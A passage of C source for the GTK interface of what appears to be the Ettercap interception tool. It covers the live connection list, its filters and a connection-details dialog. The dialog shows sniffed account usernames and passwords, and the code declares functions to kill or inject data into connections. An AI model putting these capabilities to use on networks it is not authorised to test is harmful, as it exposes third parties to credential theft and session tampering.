join_print(u_char *text, size_t len, struct ip_addr *L3_src); static void join_print_po(struct packet_object *po); static void gtkui_connection_purge(void *conn); static void gtkui_connection_kill(void *conn); static void gtkui_connection_kill_curr_conn(void); static void gtkui_connection_inject(void); static void gtkui_inject_user(int side); static void gtkui_connection_inject_file(void); static void gtkui_inject_file(const char *filename, int side); static void set_connfilter(GtkWidget *widget, gpointer *data); static void set_connfilter_host(GtkWidget *widget, gpointer *data); static gboolean connfilter(GtkTreeModel *model, GtkTreeIter *iter, gpointer *data); extern void conntrack_lock(void); extern void conntrack_unlock(void); /*** globals ***/ /* connection list */ static struct row_pairs *connections = NULL; static GtkWidget *conns_window = NULL; static GtkWidget *treeview = NULL; /* the visible part of the GTK list */ static GtkListStore *ls_conns = NULL; /* the data part */ static GtkTreeSelection *selection = NULL; static struct conn_object *curr_conn = NULL; static struct conn_filter filter; static guint connections_idle = 0; /* connection detail window */ static guint detail_timer1 = 0; static guint detail_timer2 = 0; /* split and joined data views */ static GtkWidget *data_window = NULL; static GtkWidget *textview1 = NULL; /* visible part of data output */ static GtkWidget *textview2 = NULL; static GtkWidget *textview3 = NULL; static GtkTextBuffer *splitbuf1 = NULL; /* where data is stored */ static GtkTextBuffer *splitbuf2 = NULL; static GtkTextBuffer *joinedbuf = NULL; static GtkTextMark *endmark1 = NULL; /* marks for auto-scrolling */ static GtkTextMark *endmark2 = NULL; static GtkTextMark *endmark3 = NULL; /* keep it global, so the memory region is always the same (reallocing it) */ static u_char *dispbuf; static u_char *injectbuf; /*******************************************/ /* * the auto-refreshing list of connections */ void gtkui_show_connections(GSimpleAction *action, GVariant *value, gpointer data) { GtkWidget *scrolled, *vbox, *items, *hbox, *button, *tbox, *box; GtkWidget *context_menu, *frame, *entry, *chkb_tcp, *chkb_udp, *chkb_other; GtkWidget *chkb_active, *chkb_idle, *chkb_closing, *chkb_closed, *chkb_killed; GtkTreeModel *model; GtkToolItem *toolbutton; GtkCellRenderer *renderer; GtkTreeViewColumn *column; (void) action; (void) value; (void) data; DEBUG_MSG("gtk_show_connections"); /* if the object already exist, set the focus to it */ if (conns_window) { if(GTK_IS_WINDOW (conns_window)) gtk_window_present(GTK_WINDOW (conns_window)); else gtkui_page_present(conns_window); return; } conns_window = gtkui_page_new("Connections", >kui_kill_connections, >kui_connections_detach); vbox = gtk_box_new(GTK_ORIENTATION_VERTICAL, 0); gtk_container_add(GTK_CONTAINER (conns_window), vbox); gtk_widget_show(vbox); /* filter bar */ hbox = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 10); gtk_box_pack_start(GTK_BOX(vbox), hbox, FALSE, FALSE, 0); gtk_widget_set_margin_top(hbox, 5); gtk_widget_set_margin_bottom(hbox, 5); gtk_widget_set_margin_start(hbox, 5); frame = gtk_frame_new("Host filter"); tbox = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 0); gtk_container_add(GTK_CONTAINER(frame), tbox); box = gtk_box_new(GTK_ORIENTATION_VERTICAL, 0); entry = gtk_entry_new(); g_signal_connect(G_OBJECT(entry), "activate", G_CALLBACK(set_connfilter_host), NULL); gtk_box_pack_start(GTK_BOX(box), entry, TRUE, FALSE, 5); gtk_box_pack_start(GTK_BOX(tbox), box, TRUE, FALSE, 5); toolbutton = gtk_tool_button_new( gtk_image_new_from_icon_name("system-search", GTK_ICON_SIZE_BUTTON), "Search"); g_signal_connect_swapped(G_OBJECT(toolbutton), "clicked", G_CALLBACK(set_connfilter_host), entry); gtk_box_pack_start(GTK_BOX(tbox), GTK_WIDGET(toolbutton), FALSE, FALSE, 5); filter.host = NULL; gtk_box_pack_start(GTK_BOX(hbox), frame, FALSE, FALSE, 0); frame = gtk_frame_new("Protocol filter"); tbox = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 0); gtk_container_add(GTK_CONTAINER(frame), tbox); chkb_tcp = gtk_check_button_new_with_label("TCP"); gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(chkb_tcp), TRUE); filter.tcp = TRUE; g_signal_connect(G_OBJECT(chkb_tcp), "toggled", G_CALLBACK(set_connfilter), &filter.tcp); gtk_box_pack_start(GTK_BOX(tbox), chkb_tcp, FALSE, FALSE, 5); chkb_udp = gtk_check_button_new_with_label("UDP"); gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(chkb_udp), TRUE); filter.udp = TRUE; g_signal_connect(G_OBJECT(chkb_udp), "toggled", G_CALLBACK(set_connfilter), &filter.udp); gtk_box_pack_start(GTK_BOX(tbox), chkb_udp, FALSE, FALSE, 5); chkb_other = gtk_check_button_new_with_label("Other"); gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(chkb_other), TRUE); filter.other = TRUE; g_signal_connect(G_OBJECT(chkb_other), "toggled", G_CALLBACK(set_connfilter), &filter.other); gtk_box_pack_start(GTK_BOX(tbox), chkb_other, FALSE, FALSE, 5); gtk_box_pack_start(GTK_BOX(hbox), frame, FALSE, FALSE, 0); frame = gtk_frame_new("Connection state filter"); tbox = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 0); gtk_container_add(GTK_CONTAINER(frame), tbox); chkb_active = gtk_check_button_new_with_label("Active"); gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(chkb_active), TRUE); filter.active = TRUE; g_signal_connect(G_OBJECT(chkb_active), "toggled", G_CALLBACK(set_connfilter), &filter.active); gtk_box_pack_start(GTK_BOX(tbox), chkb_active, FALSE, FALSE, 5); chkb_idle = gtk_check_button_new_with_label("Idle"); gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(chkb_idle), TRUE); filter.idle = TRUE; g_signal_connect(G_OBJECT(chkb_idle), "toggled", G_CALLBACK(set_connfilter), &filter.idle); gtk_box_pack_start(GTK_BOX(tbox), chkb_idle, FALSE, FALSE, 5); chkb_closing = gtk_check_button_new_with_label("Closing"); gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(chkb_closing), TRUE); filter.closing = TRUE; g_signal_connect(G_OBJECT(chkb_closing), "toggled", G_CALLBACK(set_connfilter), &filter.closing); gtk_box_pack_start(GTK_BOX(tbox), chkb_closing, FALSE, FALSE, 5); chkb_closed = gtk_check_button_new_with_label("Closed"); gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(chkb_closed), TRUE); filter.closed = TRUE; g_signal_connect(G_OBJECT(chkb_closed), "toggled", G_CALLBACK(set_connfilter), &filter.closed); gtk_box_pack_start(GTK_BOX(tbox), chkb_closed, FALSE, FALSE, 5); chkb_killed = gtk_check_button_new_with_label("Killed"); gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(chkb_killed), TRUE); filter.killed = TRUE; g_signal_connect(G_OBJECT(chkb_killed), "toggled", G_CALLBACK(set_connfilter), &filter.killed); gtk_box_pack_start(GTK_BOX(tbox), chkb_killed, FALSE, FALSE, 5); gtk_box_pack_start(GTK_BOX(hbox), frame, FALSE, FALSE, 0); gtk_widget_show_all(hbox); /* list */ scrolled = gtk_scrolled_window_new(NULL, NULL); gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scrolled), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scrolled), GTK_SHADOW_IN); gtk_box_pack_start(GTK_BOX(vbox), scrolled, TRUE, TRUE, 0); gtk_widget_show(scrolled); treeview = gtk_tree_view_new(); gtk_container_add(GTK_CONTAINER (scrolled), treeview); gtk_widget_show(treeview); selection = gtk_tree_view_get_selection (GTK_TREE_VIEW (treeview)); gtk_tree_selection_set_mode (selection, GTK_SELECTION_SINGLE); g_signal_connect (G_OBJECT (treeview), "row_activated", G_CALLBACK (gtkui_connection_data), NULL); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes (" ", renderer, "text", 0, NULL); gtk_tree_view_column_set_sort_column_id (column, 0); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("Host ", renderer, "text", 1, NULL); gtk_tree_view_column_set_sort_column_id (column, 1); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("Port", renderer, "text", 2, NULL); gtk_tree_view_column_set_sort_column_id (column, 2); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("-", renderer, "text", 3, NULL); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("Host ", renderer, "text", 4, NULL); gtk_tree_view_column_set_sort_column_id (column, 4); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("Port", renderer, "text", 5, NULL); gtk_tree_view_column_set_sort_column_id (column, 5); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("Proto", renderer, "text", 6, NULL); gtk_tree_view_column_set_sort_column_id (column, 6); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("State", renderer, "text", 7, NULL); gtk_tree_view_column_set_sort_column_id (column, 7); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("TX Bytes", renderer, "text", 8, NULL); gtk_tree_view_column_set_sort_column_id (column, 8); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("RX Bytes", renderer, "text", 9, NULL); gtk_tree_view_column_set_sort_column_id (column, 9); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); #ifdef HAVE_GEOIP renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("Countries", renderer, "text", 10, NULL); gtk_tree_view_column_set_sort_column_id (column, 10); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); #endif hbox = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 5); gtk_box_pack_start(GTK_BOX(vbox), hbox, FALSE, FALSE, 0); gtk_widget_show(hbox); button = gtk_button_new_with_mnemonic("View _Details"); g_signal_connect (G_OBJECT (button), "clicked", G_CALLBACK (gtkui_connection_detail), NULL); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); gtk_widget_show(button); button = gtk_button_new_with_mnemonic("_Kill Connection"); g_signal_connect (G_OBJECT (button), "clicked", G_CALLBACK (gtkui_connection_kill), NULL); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); gtk_widget_show(button); button = gtk_button_new_with_mnemonic("E_xpunge Connections"); g_signal_connect (G_OBJECT (button), "clicked", G_CALLBACK (gtkui_connection_purge), NULL); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); gtk_widget_show(button); /* context menu */ context_menu = gtk_menu_new(); items = gtk_menu_item_new_with_label("View Details"); gtk_menu_shell_append (GTK_MENU_SHELL (context_menu), items); g_signal_connect (G_OBJECT (items), "activate", G_CALLBACK (gtkui_connection_detail), NULL); gtk_widget_show (items); items = gtk_menu_item_new_with_label("Kill Connection"); gtk_menu_shell_append (GTK_MENU_SHELL (context_menu), items); g_signal_connect (G_OBJECT (items), "activate", G_CALLBACK (gtkui_connection_kill), NULL); gtk_widget_show (items); g_signal_connect(G_OBJECT(treeview), "button-press-event", G_CALLBACK(gtkui_context_menu), context_menu); /* initialize the list */ refresh_connections(NULL); /* init filter model handle */ filter.model = gtk_tree_model_filter_new(GTK_TREE_MODEL(ls_conns), NULL); gtk_tree_model_filter_set_visible_func(GTK_TREE_MODEL_FILTER(filter.model), (GtkTreeModelFilterVisibleFunc)connfilter, NULL, NULL); /* sorting model has to be explicitely created from the filtered model to support both */ model = gtk_tree_model_sort_new_with_model(filter.model); /* link the Tree Model with the Tree View */ gtk_tree_view_set_model(GTK_TREE_VIEW (treeview), model); /* refresh the list every 1000 ms */ /* gtk_idle_add refreshes too fast, uses all cpu */ connections_idle = g_timeout_add(1000, refresh_connections, NULL); gtk_widget_show(conns_window); } /* callback for detaching the tab */ void gtkui_connections_detach(GtkWidget *child) { conns_window = gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_title(GTK_WINDOW (conns_window), "Live connections"); gtk_window_set_default_size(GTK_WINDOW (conns_window), 500, 250); g_signal_connect(G_OBJECT(conns_window), "delete_event", G_CALLBACK(gtkui_kill_connections), NULL); /* make d shortcut turn the window back into a tab */ gtkui_page_attach_shortcut(conns_window, gtkui_connections_attach); gtk_container_add(GTK_CONTAINER (conns_window), child); gtk_window_present(GTK_WINDOW (conns_window)); } /* callback for attaching the tab */ static void gtkui_connections_attach(void) { gtkui_kill_connections(); gtkui_show_connections(NULL, NULL, NULL); } /* connection list closed */ static void gtkui_kill_connections(void) { DEBUG_MSG("gtk_kill_connections"); g_source_remove(connections_idle); gtk_widget_destroy(conns_window); conns_window = NULL; } /* for keeping the connection list in sync with the conntrack list */ static gboolean refresh_connections(gpointer data) { struct row_pairs *lastconn = NULL, *cache = NULL; GtkTreeModel *model = GTK_TREE_MODEL (ls_conns); void *list, *next, *listend; struct conn_object *conn; /* stores connection details */ GtkTreeIter iter; /* points to a specific row */ char flags[2], status[8]; unsigned int tx = 0, rx = 0; struct row_pairs *row = NULL, *nextrow = NULL, top, bottom; /* variable not used */ (void) data; /* init strings */ memset(&flags, 0, sizeof(flags)); memset(&status, 0, sizeof(status)); /* make sure the list has been created and window is visible */ if(ls_conns) { if (!gtk_widget_get_visible(conns_window)) return(FALSE); } else { /* Columns: Flags, Host, Port, "-", Host, Port, Proto, State, TX Bytes, RX Bytes, Countries, (hidden) pointer */ ls_conns = gtk_list_store_new (12, G_TYPE_STRING, G_TYPE_STRING, G_TYPE_UINT, G_TYPE_STRING, G_TYPE_STRING, G_TYPE_UINT, G_TYPE_STRING, G_TYPE_STRING, G_TYPE_UINT, G_TYPE_UINT, G_TYPE_STRING, G_TYPE_POINTER); connections = NULL; } /* remove old connections */ for(row = connections; row; row = nextrow) { nextrow = row->next; if(conntrack_get(0, row->conn, NULL) == NULL) { /* remove row from the GTK list */ gtk_list_store_remove(GTK_LIST_STORE(ls_conns), &row->iter); /* remove pointers from the linked-list and free */ if(row->next) row->next->prev = row->prev; if(row->prev) row->prev->next = row->next; else connections = row->next; SAFE_FREE(row); } if(row) lastconn = row; } /* make sure we have a place to start searching for new rows */ if(!lastconn) { listend = conntrack_get(0, NULL, NULL); if(listend == NULL) return(TRUE); } else { listend = lastconn->conn; } /* add new connections */ for(list = conntrack_get(+1, listend, NULL); list; list = next) { next = conntrack_get(+1, list, &conn); cache = gtkui_connections_add(conn, list, &connections); if(cache) lastconn = cache; } /* find the first and last visible rows */ gtkui_connection_list_row(1, &top); gtkui_connection_list_row(0, &bottom); if(top.conn == NULL) return(TRUE); iter = top.iter; /* copy iter by value */ /* update visible part of list */ do { /* get the conntrack pointer for this row */ gtk_tree_model_get (model, &iter, 11, &list, -1); conntrack_get(0, list, &conn); /* extract changing values from conntrack_print string */ conntrack_flagstr(conn, flags, sizeof(flags)); conntrack_statusstr(conn, status, sizeof(status)); tx = conn->tx; rx = conn->rx; gtk_list_store_set (ls_conns, &iter, 0, flags, 7, status, 8, tx, 9, rx, -1); /* when we reach the bottom of the visible part, stop updating */ if(bottom.conn == list) break; } while(gtk_tree_model_iter_next(model, &iter)); /* finnaly apply the filter */ gtk_tree_model_filter_refilter(GTK_TREE_MODEL_FILTER(filter.model)); return(TRUE); } static struct row_pairs *gtkui_connections_add(struct conn_object *co, void *conn, struct row_pairs **list) { GtkTreeIter iter; char flags[2], src[MAX_ASCII_ADDR_LEN], dst[MAX_ASCII_ADDR_LEN]; char proto[4], status[8], ccodes[8]; unsigned int src_port = 0, dst_port = 0, tx = 0, rx = 0; struct row_pairs *row = NULL; /* even if list is empty, we need a pointer to the NULL pointer */ /* so we can start a list */ if(!list) return(NULL); /* init strings */ memset(&flags, 0, sizeof(flags)); memset(&proto, 0, sizeof(proto)); memset(&src, 0, sizeof(src)); memset(&dst, 0, sizeof(dst)); memset(&status, 0, sizeof(status)); memset(&ccodes, 0, sizeof(ccodes)); /* copy data from conntrack_print string */ conntrack_flagstr(co, flags, sizeof(flags)); conntrack_statusstr(co, status, sizeof(status)); conntrack_protostr(co, proto, sizeof(proto)); conntrack_countrystr(co, ccodes, sizeof(ccodes)); ip_addr_ntoa(&co->L3_addr1, src); ip_addr_ntoa(&co->L3_addr2, dst); src_port = ntohs(co->L4_addr1); dst_port = ntohs(co->L4_addr2); tx = co->tx; rx = co->rx; /* add it to GTK list */ gtk_list_store_append (ls_conns, &iter); gtk_list_store_set (ls_conns, &iter, 0, flags, 1, src, 2, src_port, 3, "-", 4, dst, 5, dst_port, 6, proto, 7, status, 8, tx, 9, rx, 10, ccodes, 11, conn, -1); /* and add it to our linked list */ if(!*list) { row = malloc(sizeof(struct row_pairs)); if(row == NULL) { USER_MSG("Failed create new connection row\n"); DEBUG_MSG("gktui_connections_add: failed to allocate memory for a new row"); } row->prev = NULL; } else { for(row = *list; row && row->next; row = row->next); row->next = malloc(sizeof(struct row_pairs)); if(row->next == NULL) { USER_MSG("Failed create new connection row\n"); DEBUG_MSG("gktui_connections_add: failed to allocate memory for a new row"); } row->next->prev = row; row = row->next; } row->conn = conn; row->iter = iter; row->next = NULL; /* in case this was the first list entry */ if(!*list) *list = row; return(row); } /* * get the top or bottom visible row in the connection list * returns TOP row if (int top) is > 0 and list is not empty * returns BOTTOM row if (int top) is 0 and visible area is full */ static void gtkui_connection_list_row(int top, struct row_pairs *pair) { GtkTreeIter iter; /* points to a specific row */ GtkTreePath *path = NULL; /* for finding the first visible row */ GtkTreeModel *model = NULL; /* points to the list data */ GdkRectangle rect; /* holds coordinates of visible rows */ int wx = 0, wy = 0; /* for converting tree view coords to widget coords */ void *row = NULL; if(!ls_conns || !pair) return; /* in case we don't get a row */ pair->conn = NULL; model = GTK_TREE_MODEL (ls_conns); if(gtk_tree_model_get_iter_first(model, &iter)) { gtk_tree_view_get_visible_rect(GTK_TREE_VIEW(treeview), &rect); /* get the first visible row */ gtk_tree_view_convert_bin_window_to_widget_coords(GTK_TREE_VIEW(treeview), rect.x, (top)?rect.y:rect.height, &wx, &wy); path = gtk_tree_path_new(); if(gtk_tree_view_get_path_at_pos(GTK_TREE_VIEW(treeview), wx+2, (top)?wy+2:wy-2, &path, NULL, NULL, NULL)) { gtk_tree_model_get_iter(model, &iter, path); gtk_tree_model_get (model, &iter, 11, &row, -1); pair->iter = iter; pair->conn = row; } if(path) gtk_tree_path_free(path); } return; } /* * details for a connection */ static void gtkui_connection_detail(void) { GtkWidget *dwindow, *vbox, *hbox, *grid, *label, *header, *content; GtkTreeIter iter; GtkTreeModel *model; struct conn_tail *c = NULL; char tmp[MAX_ASCII_ADDR_LEN]; char name[MAX_HOSTNAME_LEN]; gchar *str, *markup; guint row = 0, col = 0; DEBUG_MSG("gtk_connection_detail"); model = GTK_TREE_MODEL (ls_conns); if (gtk_tree_selection_get_selected (GTK_TREE_SELECTION (selection), &model, &iter)) { gtk_tree_model_get (model, &iter, 11, &c, -1); } else return; /* nothing is selected */ if(!c || !c->co) return; header = gtk_header_bar_new(); gtk_header_bar_set_title(GTK_HEADER_BAR(header), "Connection Details"); gtk_header_bar_set_decoration_layout(GTK_HEADER_BAR(header), ":close"); gtk_header_bar_set_show_close_button(GTK_HEADER_BAR(header), TRUE); dwindow = gtk_dialog_new(); gtk_window_set_titlebar(GTK_WINDOW(dwindow), header); gtk_window_set_modal(GTK_WINDOW(dwindow), TRUE); gtk_window_set_transient_for(GTK_WINDOW(dwindow), GTK_WINDOW(window)); gtk_window_set_position(GTK_WINDOW(dwindow), GTK_WIN_POS_CENTER_ON_PARENT); gtk_container_set_border_width(GTK_CONTAINER(dwindow), 5); g_signal_connect(G_OBJECT(dwindow), "delete-event", G_CALLBACK(gtkui_connection_detail_destroy), NULL); vbox = gtk_box_new(GTK_ORIENTATION_VERTICAL, 5); content = gtk_dialog_get_content_area(GTK_DIALOG(dwindow)); gtk_container_add(GTK_CONTAINER(content), vbox); grid = gtk_grid_new(); gtk_grid_set_row_spacing(GTK_GRID(grid), 5); gtk_grid_set_column_spacing(GTK_GRID(grid), 5); gtk_container_set_border_width(GTK_CONTAINER(grid), 8); gtk_box_pack_start(GTK_BOX(vbox), grid, FALSE, FALSE, 0); /* Layer 2 Information */ label = gtk_label_new("Layer 2 Information:"); markup = g_markup_printf_escaped("%s", gtk_label_get_text(GTK_LABEL(label))); gtk_label_set_markup(GTK_LABEL(label), markup); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col, row, 3, 1); g_free(markup); row++; label = gtk_label_new("Source MAC address:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col, row, 1, 1); label = gtk_label_new(mac_addr_ntoa(c->co->L2_addr1, tmp)); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col+1, row, 2, 1); row++; label = gtk_label_new("Destination MAC address:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col, row, 1, 1); label = gtk_label_new(mac_addr_ntoa(c->co->L2_addr2, tmp)); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col+1, row, 2, 1); /* Layer 3 information */ row++; label = gtk_label_new("Layer 3 Information:"); markup = g_markup_printf_escaped("%s", gtk_label_get_text(GTK_LABEL(label))); gtk_label_set_markup(GTK_LABEL(label), markup); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col, row, 3, 1); gtk_widget_set_margin_top(label, 10); g_free(markup); row++; label = gtk_label_new("Source IP address:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col, row, 1, 1); label = gtk_label_new(ip_addr_ntoa(&c->co->L3_addr1, tmp)); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col+1, row, 2, 1); if (EC_GBL_OPTIONS->resolve) { row++; label = gtk_label_new("Source hostname:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col, row, 1, 1); label = gtk_label_new("resolving..."); if (host_iptoa(&c->co->L3_addr1, name) == -E_NOMATCH) { /* IP not yet resolved - keep trying asyncronously */ struct resolv_object *ro; SAFE_CALLOC(ro, 1, sizeof(struct resolv_object)); ro->type = GTK_TYPE_LABEL; ro->widget = label; ro->ip = &c->co->L3_addr1; detail_timer1 = g_timeout_add(1000, gtkui_iptoa_deferred, ro); } else { gtk_label_set_text(GTK_LABEL(label), name); } gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col+1, row, 2, 1); } #ifdef HAVE_GEOIP if (EC_GBL_CONF->geoip_support_enable) { row++; label = gtk_label_new("Source location:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col, row, 1, 1); label = gtk_label_new(geoip_country_by_ip(&c->co->L3_addr1)); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col+1, row, 2, 1); } #endif row++; label = gtk_label_new("Destination IP address:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col, row, 1, 1); label = gtk_label_new(ip_addr_ntoa(&c->co->L3_addr2, tmp)); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col+1, row, 2, 1); if (EC_GBL_OPTIONS->resolve) { row++; label = gtk_label_new("Destination hostname:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col, row, 1, 1); label = gtk_label_new("resolving..."); if (host_iptoa(&c->co->L3_addr2, name) == -E_NOMATCH) { /* IP not yet resolved - keep trying asyncronously */ struct resolv_object *ro; SAFE_CALLOC(ro, 1, sizeof(struct resolv_object)); ro->type = GTK_TYPE_LABEL; ro->widget = label; ro->ip = &c->co->L3_addr2; detail_timer2 = g_timeout_add(1000, gtkui_iptoa_deferred, ro); } else { gtk_label_set_text(GTK_LABEL(label), name); } gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col+1, row, 2, 1); } #ifdef HAVE_GEOIP if (EC_GBL_CONF->geoip_support_enable) { row++; label = gtk_label_new("Destination location:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col, row, 1, 1); label = gtk_label_new(geoip_country_by_ip(&c->co->L3_addr2)); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col+1, row, 2, 1); } #endif /* Layer 4 information */ row++; label = gtk_label_new("Layer 4 Information:"); markup = g_markup_printf_escaped("%s", gtk_label_get_text(GTK_LABEL(label))); gtk_label_set_markup(GTK_LABEL(label), markup); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col, row, 3, 1); gtk_widget_set_margin_top(label, 10); g_free(markup); row++; label = gtk_label_new("Protocol:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col, row, 1, 1); switch(c->co->L4_proto) { case NL_TYPE_UDP: label = gtk_label_new("UDP"); break; case NL_TYPE_TCP: label = gtk_label_new("TCP"); break; default: label = gtk_label_new(""); break; } gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col+1, row, 2, 1); row++; label = gtk_label_new("Source port:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col, row, 1, 1); label = gtk_label_new((str = g_strdup_printf("%d", ntohs(c->co->L4_addr1)))); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col+1, row, 1, 1); g_free(str); label = gtk_label_new(service_search(c->co->L4_addr1, c->co->L4_proto)); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col+2, row, 1, 1); row++; label = gtk_label_new("Destination port:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col, row, 1, 1); label = gtk_label_new((str = g_strdup_printf("%d", ntohs(c->co->L4_addr2)))); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col+1, row, 1, 1); g_free(str); label = gtk_label_new(service_search(c->co->L4_addr2, c->co->L4_proto)); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col+2, row, 1, 1); row++; label = gtk_label_new("Transferred bytes:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col, row, 1, 1); label = gtk_label_new((str = g_strdup_printf("%d", c->co->xferred))); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col+1, row, 2, 1); g_free(str); /* Additional information */ if (c->co->DISSECTOR.user) { row++; label = gtk_label_new("Additional Information:"); markup = g_markup_printf_escaped("%s", gtk_label_get_text(GTK_LABEL(label))); gtk_label_set_markup(GTK_LABEL(label), markup); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col, row, 3, 1); gtk_widget_set_margin_top(label, 10); g_free(markup); row++; label = gtk_label_new("Account:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col, row, 1, 1); label = gtk_label_new(c->co->DISSECTOR.user); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col+1, row, 1, 1); label = gtk_label_new(c->co->DISSECTOR.pass); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col+2, row, 1, 1); if (c->co->DISSECTOR.info) { row++; label = gtk_label_new("Additional info:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col, row, 1, 1); label = gtk_label_new(c->co->DISSECTOR.info); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, col+1, row, 2, 1); } } 